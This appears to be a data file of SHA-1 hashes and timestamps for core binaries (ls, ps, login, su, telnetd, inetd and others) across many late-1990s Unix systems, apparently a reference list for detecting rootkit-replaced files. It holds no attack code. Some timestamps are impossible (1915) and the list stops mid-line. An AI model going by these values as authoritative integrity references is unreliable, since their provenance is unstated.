[RH6.2 hpw3] +1946FC004C7D66443A63C20C0C7C65F714415F10 Tue Mar 7 05:33:09 2000 /usr/sbin/in.rshd [RH6.2 hpw3] +5BB4079D02FECF5DF4A98255B4DCFFA3219FE950 Tue Mar 7 05:36:57 2000 /usr/sbin/in.telnetd [RH6.2 hpw3] + +744B5BD3E6E681C1DEECE26CD5B84AA011AF005E Sat Sep 15 12:54:30 2001 /bin/ls [Mand 8.1 desk] +246316C5F670EA7C4D6C11384F0FC68DB955E6EF Thu Jun 21 10:03:54 2001 /bin/netstat [Mand 8.1 desk] +E771B716696F25DC0A4DF893BE65C421EF8ED000 Mon Apr 9 13:22:22 2001 /bin/ps [Mand 8.1 desk] +7ED9387A51ADBDF691C2F945EA6C064E7A6E4475 Sat Sep 15 12:54:30 2001 /bin/rm [Mand 8.1 desk] +DEA1559680E81C43A7EF3091FDA1720B0C3D7B5D Mon Sep 17 02:09:20 2001 /bin/sh [Mand 8.1 desk] +B3F2B385C21E2F8FC1FA19DA630BFFBFF9F6BD9A Fri Sep 14 11:16:42 2001 /bin/su [Mand 8.1 desk] +7BFAC9D06C030DCFDDF4CA9E1A21D306186A78D8 Thu Jun 21 10:03:54 2001 /sbin/arp [Mand 8.1 desk] +E9FD22EAF1DD7311123F0FE52A43107AD563B2DF Wed Jul 4 02:54:46 2001 /usr/bin/find [Mand 8.1 desk] +4FE94A3B6F112512E1F2184C8C51B33697523002 Mon Sep 9 08:21:19 2002 /usr/bin/telnet [Mand 8.1 desk] +BF6AE38142D4AC9AF34BA7EDF9B53EEBEB677952 Mon Apr 9 13:22:22 2001 /usr/bin/w [Mand 8.1 desk] +85D56E09D685F0A256D0C9B39C95104F6B953972 Fri Sep 21 09:24:05 2001 /usr/sbin/ftpd [Mand 8.1 desk] +733312F5F420E6168E11E373C3675E579E5CC905 Fri Sep 14 11:19:03 2001 /usr/sbin/xinetd [Mand 8.1 desk] +04F5B498563EC19F893686497F3A99AA7CDA32E8 Wed Apr 4 11:35:09 2001 /usr/sbin/in.rlogind [Mand 8.1 desk] +E252B48CEFACA30676A3C258464FE2D687B38517 Wed Apr 4 11:35:09 2001 /usr/sbin/in.rshd [Mand 8.1 desk] +65E9FA1F16F81CB66BD6203110BE97AF75499CC6 Sun Jun 23 19:11:08 2002 /sbin/fuser [Mand 8.1 desk] + +E2C7702FF331BF81EBFF0E9360C10D5451C640E7 Fri Jul 16 10:00:45 1999 /usr/sbin/inetd [bsdi 4.0.1 dorked?] + +06BA04F772BF2CFB97E1821B6E97BCE728B80D1D Wed Apr 21 04:31:28 1999 /bin/login [Solaris 2.6] +A8FD4CCC7C501D200D4856093545616AEE8B9539 Mon Apr 12 12:36:48 1999 /bin/login [DEC OSF4.0] +94BA5593D767DC43CD83D07A72B8CB11A77871FF Mon Sep 9 18:07:16 2002 /usr/bin/telnet [Mandrk 8.1] +6C1884BB85BD0F760FF7E79A7F04CCDAA8132D30 Thu Jul 5 05:03:28 2001 /usr/sbin/etftpd [Mandrk 8.1] +6C1884BB85BD0F760FF7E79A7F04CCDAA8132D30 Thu Jul 5 05:03:28 2001 /usr/sbin/in.etftpd [Mandrk 8.1] +01AD463225E594383E424617F9D72E82BDC1DE39 Sun Sep 9 10:30:38 2001 /usr/sbin/in.ftpd [Mandrk 8.1] +8CFAAAC602FE0D730222C3EF400C84982C3E847F Sun Sep 9 05:22:04 2001 /usr/sbin/in.proftpd [Mandrk 8.1] +01AD463225E594383E424617F9D72E82BDC1DE39 Sun Sep 9 10:30:38 2001 /usr/sbin/in.wuftpd [Mandrk 8.1] +01AD463225E594383E424617F9D72E82BDC1DE39 Sun Sep 9 10:30:38 2001 /usr/sbin/wu.ftpd [Mandrk 8.1] +AF7601EAA2A109112EC43B79BDE190EC569668E6 Fri Sep 21 09:24:05 2001 /usr/sbin/telnetd [Mandrk 8.1] +066BA29BF7CBA258E41B6496820F188E43B9A38B Wed Sep 5 19:00:46 2001 /bin/login [Mandrk 8.1] + +C707B94287362D289EC505F244C7FC30F22C63E6 Fri Apr 23 09:54:10 1999 /usr/sbin/in.tftpd [Solaris 2.5 elsa] +3CFA5108733844CE6F282ABC8DF2F59AE38DA8A5 Wed Oct 25 07:06:58 1995 /bin/login [Solaris 2.5 elsa] + +A87A3015875A98FF2D68EBD5DB0C4E9967A96896 Fri Apr 30 18:56:06 1999 /bin/ls [SuSE Linux 6.1] +CE8A807838754655E23F4B9F620A31E97DD6DB65 Sat May 1 08:43:58 1999 /bin/netstat [SuSE Linux 6.1] +1F2A57FA734D595D1A148669FEBB2E61C2ACAE5F Fri Apr 30 19:44:25 1999 /bin/ps [SuSE Linux 6.1] +49201D69D2546481E057166F3B6FF0C268235C13 Fri Apr 30 18:56:07 1999 /bin/rm [SuSE Linux 6.1] +4B134F5003C0F4502D8E6EC2B97F5CE631AE1B54 Fri Apr 30 18:37:07 1999 /bin/sh [SuSE Linux 6.1] +DDD9C5EFD38D1F6F71C84E6FD65330B9A4200D1E Fri Apr 30 20:01:30 1999 /bin/su [SuSE Linux 6.1] +7F4FA7786943A6AC120C16AAE555A85AE4A05FAE Fri Apr 30 19:00:06 1999 /usr/bin/find [SuSE Linux 6.1] +6A0CEE5DB2104D79F2DAA79E186A6831AD35F0B7 Mon May 3 03:57:41 1999 /usr/bin/telnet [SuSE Linux 6.1] +2444444FC223D0A6A7FA162834A210241EFCBD41 Fri Apr 30 19:44:25 1999 /usr/bin/w [SuSE Linux 6.1] +1820FFA995957491F71DF420A6E84FAABF3BE4AA Sat May 1 08:43:58 1999 /usr/sbin/arp [SuSE Linux 6.1] +61185E80E6ECA76A38D8D6A1CC1D7C165D3A8AE4 Mon May 3 03:57:41 1999 /usr/sbin/in.ftpd [SuSE Linux 6.1] +2518AF61E558D52DB9FCC1A265E8F84654F33E83 Fri Apr 30 19:42:42 1999 /usr/sbin/in.proftpd [SuSE Linux 6.1] +AA83E0D0E6CD943697F9B7FCA2C82DD8DBA224AB Mon May 3 03:57:40 1999 /usr/sbin/in.tftpd [SuSE Linux 6.1] +2518AF61E558D52DB9FCC1A265E8F84654F33E83 Fri Apr 30 19:42:42 1999 /usr/sbin/proftpd [SuSE Linux 6.1] +E225FA50D06EEB8BF05BE8E6C1E85CB5ADDB3DD3 Fri Apr 30 20:19:53 1999 /usr/sbin/wu.ftpd [SuSE Linux 6.1] +1E66FBA3C95891ECB2928C2337B006B34BAFBEE9 Mon May 3 03:57:39 1999 /usr/sbin/inetd [SuSE Linux 6.1] +54D3C3E371887D4E49A881A39075B3DDC2C08B58 Sat May 1 00:27:04 1999 /usr/sbin/midinetd [SuSE Linux 6.1] +B1305A241594E84CF04B95F35274A08E7BE22978 Thu Jan 14 11:15:20 1999 /usr/sbin/rcinetd [SuSE Linux 6.1] +6025E8EF106D290E6D5D685AE2EEC2479B6B6CBA Fri Apr 30 19:48:32 1999 /usr/sbin/rinetd [SuSE Linux 6.1] +677AE161B25AB67E839F4E48D383C08A2271A98D Mon May 3 03:57:40 1999 /usr/sbin/in.rlogind [SuSE Linux 6.1] +C791FA7454B666DF25F11307152F12E5C29445A2 Mon May 3 03:57:40 1999 /usr/sbin/in.rshd [SuSE Linux 6.1] +FAE28F795C6FEAA162AEEA7069CE72CD273961FE Mon May 3 03:57:41 1999 /usr/sbin/in.telnetd [SuSE Linux 6.1] +CD301AB0782ACEF8C82397C866AB5D0F364898DF Fri Apr 30 20:24:53 1999 /bin/login [SuSE Linux 6.1] + +D4FC9AFF4D1B26712C1EE3B5BE71901DF59BBCCD Mon Sep 27 10:20:33 1993 /bin/login [Solaris 2.3 ] + +D9D97976D8AE43CCB2800934E41A02C4CB308909 Fri Jul 15 23:49:29 1994 /usr/sbin/in.tftpd [Solaris 2.4 ] +3DDAEF2D8C934419B9AFFE1C761632368BB9E468 Sat Jul 16 00:14:51 1994 /bin/login [Solaris 2.4 ] + +F14ECB379BFE57C430D19F047FD5B8F6F65DD27E Sat Jun 8 03:49:26 1996 /bin/login [Irix 5.3] +CC9EED6A9D5500F8390A67C769536125118A97DF Wed Jul 16 02:37:52 1997 /bin/login [SunOS 5.6 i86pc] + +07930B765311AF2B372D8055CD88EE54DFD9117B Wed Oct 22 21:52:27 1997 /bin/ls [Redhat 5.0] +31D7252ECBE3C5F5AB5E1605E7F0CB58F2DBA927 Wed Oct 22 22:04:22 1997 /bin/netstat [Redhat 5.0] +CE68D62CC3D47C7DF398E771A296EC12138D4178 Tue Nov 4 10:20:55 1997 /bin/ps [Redhat 5.0] +6BE514CAC8F42C36D9F29E2930B68F3DF3B65B8C Wed Oct 22 21:52:27 1997 /bin/rm [Redhat 5.0] +805D66F4C0463D4C4A184F10181C4ADB77D2603C Fri Nov 7 14:13:27 1997 /bin/sh [Redhat 5.0] +82CA27C3BB87D82C9BE1A23ED11CE3129E34A79A Mon Oct 27 11:30:03 1997 /bin/su [Redhat 5.0] +F1AD7D099AAA2AC6E1DCF795498EED126B5B767F Wed Oct 22 22:04:22 1997 /sbin/arp [Redhat 5.0] +8998665685D2A69DCD0B1497957D0A66F32413A2 Sun Nov 9 18:24:43 1997 /usr/bin/find [Redhat 5.0] +1E509DAB1B2A655B2711D21561B37936EF24B210 Wed Oct 29 15:29:57 1997 /usr/bin/telnet [Redhat 5.0] +5E1C190B6E20AEF7A9E8A17A6C5D80A6F54471AD Tue Nov 4 10:20:55 1997 /usr/bin/w [Redhat 5.0] +50182385A045B06DE9FFE63508884DADFD11B00C Fri Oct 31 17:08:40 1997 /usr/sbin/in.ftpd [Redhat 5.0] +F8891918F89ACFD752D04BD437130C757333991D Mon Sep 22 21:28:25 1997 /usr/sbin/in.tftpd [Redhat 5.0] +59B7F16B05A27D4B2C15D41BBE377AAC7541B7C6 Thu Dec 6 07:49:29 2001 /usr/sbin/inetd [Redhat 5.0] +5EAEC5FA2518D72E05C6DC78A90C7EE689EB1EEB Tue Oct 14 12:22:03 1997 /usr/sbin/in.rlogind [Redhat 5.0] +824804AC5FF3EBE7EA34BFDA69C8E70AEC0BF8AB Tue Oct 14 12:22:03 1997 /usr/sbin/in.rshd [Redhat 5.0] +28C06E94E708F049FE1954A7438C623AB7D8C658 Wed Oct 29 15:29:57 1997 /usr/sbin/in.telnetd [Redhat 5.0] +C038370DE5338362B1613C6C7F20AF590FCC0668 Fri Dec 5 15:40:05 1997 /bin/login [Redhat 5.0] + +2204EC32E1275D9AD653F7B8C67618FA2E9D6231 Mon Jun 10 03:00:00 1996 /bin/login [hpux 10.20] + +DDCE4E77275F41A36AFB0B17857E1C22A613DF6D Mon Jul 27 22:36:25 1998 /bin/find [SCO] +86E587D45DF446EC6112C2A5EB8AB0A7F0B3579D Mon Jul 27 22:36:37 1998 /bin/ls [SCO] +481EC67E70FD2A5A5DEEF52E039CE458EB930289 Mon Jul 27 22:36:46 1998 /bin/ps [SCO] +D8DA3F12DEFF41DCEB3E044FD2B2E8183A52FDD7 Mon Jul 27 22:36:49 1998 /bin/rm [SCO] +D810A71716C36B24DFDEB91FE1F66065124C5346 Mon Jul 27 22:36:56 1998 /bin/sh [SCO] +FA26A4F34B9FC750AA03340D57D70517C501725C Mon Jul 27 22:37:00 1998 /bin/su [SCO] +B2D57EF20A0006CBF78083C44CA9D22B28DC2FE1 Tue Nov 16 07:19:47 1999 /usr/bin/telnet [SCO] +45499B5DA96A8842884CA2923EBD15A132950C4E Tue Nov 16 07:06:14 1999 /usr/bin/w [SCO] +3E2A60962448DB2C1E8E5C6CC4AFDEE177E53F2C Tue Nov 16 19:12:57 1999 /bin/login [SCO] + +68CDE23058EA67197C4DFB163A36CB1BF7E2513C Thu Apr 2 03:43:44 1998 /bin/ls [slackware] +E331934D0684F1849B5692BFFAF7C5FB9C6BD51E Sun May 9 21:08:54 1999 /bin/netstat [slackware] +BF916849C546E534A86C1BF60742D63B4CF49D2C Wed Apr 7 03:24:59 1999 /bin/ps [slackware] +9889A24485CA79805E62A3A3B24F9DCBB771D4F6 Thu Apr 2 03:43:44 1998 /bin/rm [slackware] +68BA75F279E94F5A45105FC381E238268DBB6D42 Mon Mar 31 15:20:52 1997 /bin/sh [slackware] +543E2FE5C4518D986FAA461A7E766342D8F81885 Sat Mar 27 16:06:00 1999 /bin/su [slackware] +DEDBDA6641A02259B899DE96373B8E9E5CDDA46E Sun May 9 21:09:45 1999 /bin/telnet [slackware] +6303483985CFB5D6ED229B97D29570D686A58975 Sun May 9 21:08:54 1999 /sbin/arp [slackware] +75BD8F711A2215E14C4CB1230A7274E7A5C20417 Sun Aug 16 15:55:09 1998 /usr/bin/find [slackware] +55463FC77AE31B59FD255F44051D8C27BEF68142 Wed Apr 7 03:24:59 1999 /usr/bin/w [slackware] +BB6300AADF2B095863C5A302DBF29F04AED88FCC Sun May 9 21:09:48 1999 /usr/sbin/in.tftpd [slackware] +429F0A7852A5E8C7FA71F40D17EF2F657286162D Sun May 9 21:10:08 1999 /usr/sbin/wu.ftpd [slackware] +568A4F90D9DEE3F9F0342D43042D53E1812B62C0 Wed Apr 17 03:58:09 2002 /usr/sbin/inetd [slackware] +F3DBFAA4AB7DF07AAEE22EE5D113A7465D8DF1C9 Sun May 9 21:09:27 1999 /usr/sbin/in.rlogind [slackware] +EE6986D661E159187B2D4218ED52E1D96FFC8CAF Sun May 9 21:09:27 1999 /usr/sbin/in.rshd [slackware] +21043C3B2AA9073D03802478B4F3F42B02079231 Sun May 9 21:09:45 1999 /usr/sbin/in.telnetd [slackware] +2BE96ED31C11639297CBEB06D3DDFB5FA2C2E190 Sat Mar 27 16:06:00 1999 /bin/login [slackware] + +FC60AA7DAAF997BDDBA3DF4F2E7B6D6DCBCB7812 Fri Apr 16 10:22:18 1999 /bin/ls [OpenBSD 2.5] +4851337840F7F722BB018EAC44AB77D169A305FB Fri Apr 16 10:22:32 1999 /bin/ps [OpenBSD 2.5] +A2D37B57359652730109A051993CF2B11BC64F18 Fri Apr 16 10:22:40 1999 /bin/rm [OpenBSD 2.5] +7BF1D78E6EB734CB613331BD2A6345F7B4FF72F8 Fri Apr 16 10:22:12 1999 /bin/sh [OpenBSD 2.5] +9A9C1F711854CD2827E79A9224B697BA69D261BB Fri Apr 16 10:27:13 1999 /usr/bin/find [OpenBSD 2.5] +6154353F11EF7BF66FAA2B2908472A7E72213E99 Fri Apr 16 10:29:17 1999 /usr/bin/telnet [OpenBSD 2.5] +A2B78761EC889BADE55D72455D4786BB12A93EEE Fri Apr 16 10:29:55 1999 /usr/bin/w [OpenBSD 2.5] +1F5D8EA98960175FC658B19BD4887DA64C3DF9B1 Fri Apr 16 10:30:38 1999 /usr/sbin/arp [OpenBSD 2.5] +2C239141F8B4D8A199110D896E18533E96AB4E04 Fri Apr 16 10:31:16 1999 /usr/sbin/inetd [OpenBSD 2.5] + +1A03F20C430FF8F07EC1D44F5A18F6116BAD8E55 Tue Aug 14 15:47:06 2001 /bin/cat [Red Hat Linux 7.2] +D0D12BD013ECAEC4380A44526BBF1A1C821EBD32 Mon Jul 23 12:23:46 2001 /bin/date [Red Hat Linux 7.2] +1E0DFFC0DCE5881FB3FB558422555D6F19E123CB Tue Jul 17 09:11:18 2001 /bin/grep [Red Hat Linux 7.2] +A100E8E7BC715F0040A3C6189044E4C8B784A39C Tue Sep 4 10:44:43 2001 /sbin/iptables [Red Hat Linux 7.2] +70F1D1E5BEC8B589D2A50A82D3ADB7CA1260932B Thu Aug 9 09:01:20 2001 /bin/touch [Red Hat Linux 7.2] +1FDA1BE763E5CFFA44F913F2BDF821847D3EF7B2 Sat Aug 4 10:05:10 2001 /usr/bin/which [Red Hat Linux 7.2] +9F3287615C05E6E3DA0D54920FB9F545482ACDF9 Mon Jul 9 08:56:21 2001 /bin/sh [Red Hat Linux 7.2] +B8BF253055458B4DFBC30D3EEDC56417EFC864AA Thu Aug 9 09:01:19 2001 /bin/ls [Red Hat Linux 7.2] +24CFBA60306CF9BF62AFC2084CEB6599C6041B57 Mon Aug 27 23:16:31 2001 /bin/ps [Red Hat Linux 7.2] +4C1A50E77B3D7BF54126FD8F9B5BA060DA488C6B Thu Sep 6 03:45:47 2001 /usr/bin/telnet [Red Hat Linux 7.2] +D5B0384AA2F59DB08C347B1BAF2E4132B02BF521 Mon Aug 27 23:16:31 2001 /usr/bin/w [Red Hat Linux 7.2] +A4CEB672DB43EE3AE4FDDAB62A8E1CD2B73952C2 Sun Aug 26 18:51:37 2001 /bin/login [Red Hat Linux 7.2] +8315C1D69DC285101CB2067A39B0B7450D02B2F8 Tue Jul 31 11:56:53 2001 /bin/netstat [Red Hat Linux 7.2] +E7A76FDCA39A327A4F7900C1436CBA7FA813C3FD Mon Jul 23 12:23:45 2001 /bin/su [Red Hat Linux 7.2] +34DBFFC0920876E68B6826AF00AD2523755039D1 Thu Aug 9 09:01:20 2001 /bin/rm [Red Hat Linux 7.2] +F0789BB09D52F6F2CBC654098A077B89AA382C51 Mon Jun 25 10:39:30 2001 /usr/bin/find [Red Hat Linux 7.2] +77561BA15F4EED1C5DA9FA11BF132F5AD5240663 Tue Jul 31 11:56:52 2001 /sbin/arp [Red Hat Linux 7.2] +0545794FA867DA0831F7A07BF68A4B85BAB38A9F Wed Aug 29 17:20:09 2001 /usr/sbin/xinetd [Red Hat Linux 7.2] + +C99C43B6D244EC505F18A0A6F0621A19E059CDAD Tue Sep 18 13:25:37 2001 /bin/ls [Freebsd 4-4] +65AFCEE977F631414D761BBBB89178B0842A5876 Tue Sep 18 13:25:38 2001 /bin/ps [Freebsd 4-4] +5D7406281BB32CADB0D59017340B22B105A9134E Tue Sep 18 13:25:38 2001 /bin/rm [Freebsd 4-4] +1902256216A052CD61D63E81FB3410D84B4E1FB3 Tue Sep 18 13:25:39 2001 /bin/sh [Freebsd 4-4] +3C63E3616238D1E98800479E5A062B26E1D98AC5 Tue Sep 18 13:29:22 2001 /usr/bin/find [Freebsd 4-4] +21E85F477766530026B7DEE6FC395B091E4B13CB Tue Sep 18 13:33:23 2001 /usr/bin/telnet [Freebsd 4-4] +BEE72DD9C49706B58EB94EBA5A2E144C817F2990 Tue Sep 18 13:29:53 2001 /usr/bin/w [Freebsd 4-4] +6F75F416E1244EADE9E8004A028C6D943E7E2986 Tue Sep 18 13:30:01 2001 /usr/sbin/arp [Freebsd 4-4] +504D7973C86E1FFFF5F797B0013361F69BCD2004 Tue Sep 18 13:30:05 2001 /usr/sbin/inetd [Freebsd 4-4] + +D93BF892764772A06C7068F570AAA0D2AF8B1025 Thu Sep 14 18:36:11 2000 /bin/ls [Redhat 7.0 Dec alpha] +E4BA4AFA280D1E1E71C4DAA4D6D2AE942F3EB3DC Thu Sep 14 22:40:30 2000 /bin/netstat [Redhat 7.0 Dec alpha] +9B05D12112CC6CCBA961681091B21D1E850A2339 Thu Sep 14 23:19:35 2000 /bin/ps [Redhat 7.0 Dec alpha] +430847AECB5D59ECE3E13C99E2F2D8C37C3D22E1 Thu Sep 14 18:36:13 2000 /bin/rm [Redhat 7.0 Dec alpha] +465BDC45F17B9F77B892AD9517B573FECFD8709A Thu Sep 14 17:35:47 2000 /bin/sh [Redhat 7.0 Dec alpha] +121DB8A660E7B180E8C607720A19E917E0FAFAAD Thu Sep 14 23:56:31 2000 /bin/su [Redhat 7.0 Dec alpha] +2090DA275BD7CF1E98D6F175DF65C134F18E06C2 Thu Sep 14 22:40:31 2000 /sbin/arp [Redhat 7.0 Dec alpha] +4EF70FC2BBF97EE64787F8942D73E8229D34B4CB Thu Sep 14 18:31:19 2000 /usr/bin/find [Redhat 7.0 Dec alpha] +10BE369A3F8F3643C049E827B3F90A9EAC4D9E77 Fri Sep 15 00:04:20 2000 /usr/bin/telnet [Redhat 7.0 Dec alpha] +E6B48741D390210BD33D1ADFA9C5A2747E2140D0 Thu Sep 14 23:19:37 2000 /usr/bin/w [Redhat 7.0 Dec alpha] +8FDF6B7DC23BB1AC4271088F42844D8ECE1D2998 Tue Aug 10 14:49:36 1915 /usr/sbin/in.ftpd [Redhat 7.0 Dec alpha] +5D4114C994BFC885886C8149146684DB0C30AE43 Fri Sep 15 00:06:28 2000 /usr/sbin/in.tftpd [Redhat 7.0 Dec alpha] +8FDF6B7DC23BB1AC4271088F42844D8ECE1D2998 Tue Aug 10 14:49:36 1915 /usr/sbin/in.wuftpd [Redhat 7.0 Dec alpha] +8FDF6B7DC23BB1AC4271088F42844D8ECE1D2998 Tue Aug 10 14:49:36 1915 /usr/sbin/wu.ftpd [Redhat 7.0 Dec alpha] +0145F1FE4FE867F69A70E3FD92089177A90B58F7 Thu Sep 14 17:20:02 2000 /usr/sbin/xinetd [Redhat 7.0 Dec alpha] +81693CFC0E1D2D94E0F7D2683977E7C67B8F01ED Thu Sep 14 23:40:40 2000 /usr/sbin/in.rlogind [Redhat 7.0 Dec alpha] +3453DD9812D00A8391F00A9F1C66EEDC285D38A7 Thu Sep 14 23:40:40 2000 /usr/sbin/in.rshd [Redhat 7.0 Dec alpha] +59944737E7B51CD800B9166CB020D5D04A5FF902 Fri Sep 15 00:04:21 2000 /usr/sbin/in.telnetd [Redhat 7.0 Dec alpha] +36466D183C7F66FAF1CE85167727EB010402867E Fri Sep 15 00:14:39 2000 /bin/login [Redhat 7.0 Dec alpha] + +79801B41B792C1A1F352D290DEA0B092BE9083BA Thu Oct 18 16:26:43 2001 /bin/ls [OpenBSD 3.0] +DE349F63A0CA974FAE7595B6D8A3C36FBE74A067 Thu Oct 18 16:26:45 2001 /bin/ps [OpenBSD 3.0] +FE4297FCDFC52E0BD05AAE1B9B8DC3A98AD98E8A Thu Oct 18 16:26:46 2001 /bin/rm [OpenBSD 3.0] +26DC00A97B646003F57F6596C9A6BB61DDF85F84 Thu Oct 18 16:26:42 2001 /bin/sh [OpenBSD 3.0] +7E3A318ED7822E51DBAF4CA819C69ABC353F483B Thu Oct 18 16:27:18 2001 /usr/bin/find [OpenBSD 3.0] +5F6309E388C4E8D431410826801D1C9B34AF85F7 Thu Oct 18 16:27:34 2001 /usr/bin/telnet [OpenBSD 3.0] +4CCE1C1D51EC4F1A0906B7EEE9D83A28785AE3B8 Thu Oct 18 16:27:38 2001 /usr/bin/w [OpenBSD 3.0] +9A1012F5A730D846E681DDA577519E928D95C659 Thu Oct 18 16:27:44 2001 /usr/sbin/arp [OpenBSD 3.0] +18BB4379FB650D3809AA07639707C373FA9242F3 Thu Oct 18 16:27:48 2001 /usr/sbin/inetd [OpenBSD 3.0] + +902823845B6B4BD53A96E1142F256040B7059993 Tue Apr 7 19:05:29 1998 /bin/find [UnixWare 7.0.1] +D6C51C28678ED888DED56992B292D0C3A4496089 Wed Aug 19 03:53:34 1998 /bin/ls [UnixWare 7.0.1] +0671EFD5349B64C9CB89CCB53748B9C35849A606 Wed Aug 19 03:53:34 1998 /bin/netstat [UnixWare 7.0.1] +27A65E29E8AEDFCF07F74B672E4A46D2B0EF7650 Tue Apr 7 19:05:30 1998 /bin/ps [UnixWare 7.0.1] +3C0B3375EDE31BA0D66F83AF9FB774BDAE9A8DCF Tue Apr 7 19:05:38 1998 /bin/rm [UnixWare 7.0.1] +45112184EE671FE1BE1E01AD8A5BD2CFAE49C170 Tue Apr 7 19:05:22 1998 /bin/sh [UnixWare 7.0.1] +14B7A8DDB12A9E1E7E7C9910BA630D25DE2A4957 Tue Apr 7 19:05:38 1998 /bin/su [UnixWare 7.0.1] + +A805DEC0EDC00E8D4F68E889FDEC66D56CE201CC Fri Apr 3 22:09:16 1998 /bin/telnet [UnixWare 7.0.1] +89514FFA5F0EBD272FDF9D330632A5086DBBD7A8 Fri Apr 3 22:08:40 1998 /bin/w [UnixWare 7.0.1] +902823845B6B4BD53A96E1142F256040B7059993 Tue Apr 7 19:05:29 1998 /usr/bin/find [UnixWare 7.0.1] +A805DEC0EDC00E8D4F68E889FDEC66D56CE201CC Fri Apr 3 22:09:16 1998 /usr/bin/telnet [UnixWare 7.0.1] +89514FFA5F0EBD272FDF9D330632A5086DBBD7A8 Fri Apr 3 22:08:40 1998 /usr/bin/w [UnixWare 7.0.1] +C828B98245ED4219BE3DDB36B33F1694F164E9CA Fri Apr 3 22:09:26 1998 /usr/sbin/arp [UnixWare 7.0.1] +8D3C30229DB5AAA6195B6E96170C30F78AA8D9C4 Wed Aug 19 03:53:49 1998 /usr/sbin/in.ftpd [UnixWare 7.0.1] +E377C3C35310BBA1EACDA31F01361293B14DC14D Fri Apr 3 22:09:27 1998 /usr/sbin/in.tftpd [UnixWare 7.0.1] +51C376A498038F75A71CE1F3B3F20C6C31274BC4 Fri Apr 3 22:09:27 1998 /usr/sbin/inetd [UnixWare 7.0.1] +57240BD6A7CE8D349A66FF800860E535DFF9E0D5 Wed Aug 19 03:53:50 1998 /usr/sbin/in.rlogind [UnixWare 7.0.1] +33128EA62D66DE607A4334C946A2E09963E22BB8 Fri Apr 3 22:09:27 1998 /usr/sbin/in.rshd [UnixWare 7.0.1] +A350834612BB84571DD80B7FC3D2DDE964CD3397 Wed Aug 19 03:53:50 1998 /usr/sbin/in.telnetd [UnixWare 7.0.1] +D87B69153200CB9A7EF85B04B5F6ACE0464C2791 Fri Apr 3 22:08:39 1998 /usr/ucb/ps [UnixWare 7.0.1] +51023F22F77D60BE960428F24BE832A2B69FF09D Wed Aug 19 03:53:43 1998 /bin/login [UnixWare 7.0.1] + +66C31A0346B08EC1312EBBF7FDCFADB748F0DC6D Fri Jul 3 09:15:00 1998 /bin/ls [debian-2.1] +00941702C2A6F3EE459F8903FD7677074673A867 Sat Dec 5 07:10:11 1998 /bin/netstat [debian-2.1] +190E3DF79A4FA25C0BCCD960D27BFFA1B8F8A102 Fri Oct 30 00:06:51 1998 /bin/ps [debian-2.1] +404B7A4A2A7A89B5E2D526FA38CC1C52C6763E69 Fri Jul 3 09:15:02 1998 /bin/rm [debian-2.1] +0754E344C86DC7FFDF17379C90D003922F48299B Mon Oct 19 22:57:23 1998 /bin/sh [debian-2.1] +F8CEE3F58B11CBFA6ADA453829BB4AB54D6D29A8 Thu Nov 19 07:55:41 1998 /bin/su [debian-2.1] +10D69E2FC95722C858622E98A0F1C7892F2D9DF3 Thu Dec 17 11:33:19 1998 /usr/bin/find [debian-2.1] +418AE9C42CD6924301FD23A6EF3329FFD5D85CE2 Sat Nov 14 23:07:16 1998 /usr/bin/telnet [debian-2.1] +9CD03541AEA5F134D145FED84665000BF5736340 Fri Oct 30 00:06:55 1998 /usr/bin/w [debian-2.1] +161031780799E105D59206FE4D27F35B2AC92D05 Sat Dec 5 07:10:08 1998 /usr/sbin/arp [debian-2.1] +0619733971506B9A100DBF89B1D1480906C0A2DD Sat Feb 13 01:52:54 1999 /usr/sbin/in.ftpd [debian-2.1] +F37221A8158D21579AFD1A947FDD139CF0FFC6AF Sat Feb 13 01:53:03 1999 /usr/sbin/in.tftpd [debian-2.1] +89FFBF313C60C61579656E304B5FC7EEE231EDB5 Wed Feb 10 09:28:04 1999 /usr/sbin/proftpd [debian-2.1] +00853B99C74D0FD2619E74BA982C5B59CFEE7F63 Sat Dec 5 07:10:08 1998 /usr/sbin/inetd [debian-2.1] +93CBD63677418FDE80A574650741CFDA50A8C814 Sat Feb 13 01:53:00 1999 /usr/sbin/in.rlogind [debian-2.1] +0E980F55D9FA89C95224EB0B94643EA1A41DC9D3 Sat Feb 13 01:53:01 1999 /usr/sbin/in.rshd [debian-2.1] +5864C47085EDDF34B8FFB14F1FC58877C5ED9353 Sat Nov 14 23:07:17 1998 /usr/sbin/in.telnetd [debian-2.1] +381150790DEE6BDA3ECC459A76E9ECE28040E212 Fri Jul 17 14:04:18 1998 /bin/login [debian-2.1] + +9E278068F75CAACACADC92913B63660824BBE790 Wed Aug 1 14:02:53 2001 /bin/find [OSF1 V5.1] +ECF26C31550B6CD693148EBB1DACA78966E265DA Wed Aug 1 14:07:17 2001 /bin/ls [OSF1 V5.1] +FB8B216E2F95AE76DF1B192E719644E3A64E1885 Wed Aug 1 13:58:54 2001 /bin/ps [OSF1 V5.1] +A3DB174ABCE1528CD52F2A90E5AEBD88A5AC6F49 Wed Aug 1 14:17:36 2001 /bin/rm [OSF1 V5.1] +79055852BD4CFFB6194299003E82ABC615D31185 Wed Aug 1 14:19:53 2001 /bin/sh [OSF1 V5.1] +71DF5CB04D7F5F3A8B0127C4C071D39CB96D0E8C Wed Aug 1 13:58:56 2001 /bin/su [OSF1 V5.1] +E824AA5E7BB0DB5E33EC581307E66DD8F8EFEC1B Wed Aug 1 14:21:09 2001 /bin/telnet [OSF1 V5.1] +93F4D7F1576521BBF06E07C321E9D93D1C6B7FB0 Wed Aug 1 13:59:06 2001 /bin/w [OSF1 V5.1] +6EC098DCB12770C663C89B7D919F0A55012C3130 Wed Aug 1 14:18:23 2001 /sbin/arp [OSF1 V5.1] +9E278068F75CAACACADC92913B63660824BBE790 Wed Aug 1 14:02:53 2001 /usr/bin/find [OSF1 V5.1] +E824AA5E7BB0DB5E33EC581307E66DD8F8EFEC1B Wed Aug 1 14:21:09 2001 /usr/bin/telnet [OSF1 V5.1] +93F4D7F1576521BBF06E07C321E9D93D1C6B7FB0 Wed Aug 1 13:59:06 2001 /usr/bin/w [OSF1 V5.1] +0D64572FACEE85113DC9A51DCBA0A03F023F7F71 Wed Aug 1 14:34:30 2001 /usr/sbin/arp [OSF1 V5.1] +903E56C054F9229D389E29FAC36C28BE18E58647 Wed Aug 1 14:49:11 2001 /usr/sbin/ftpd [OSF1 V5.1] +04B6282399136B113FB8AE67DCEBEEFC8435FA03 Wed Aug 1 15:11:52 2001 /usr/sbin/tftpd [OSF1 V5.1] +601743913210197DD831A2F8CCD2FEA5E7558066 Wed Aug 1 14:55:59 2001 /usr/sbin/inetd [OSF1 V5.1] +09A941A7FFF3FA138B77A91C65F5547F36970DF8 Wed Aug 1 14:33:33 2001 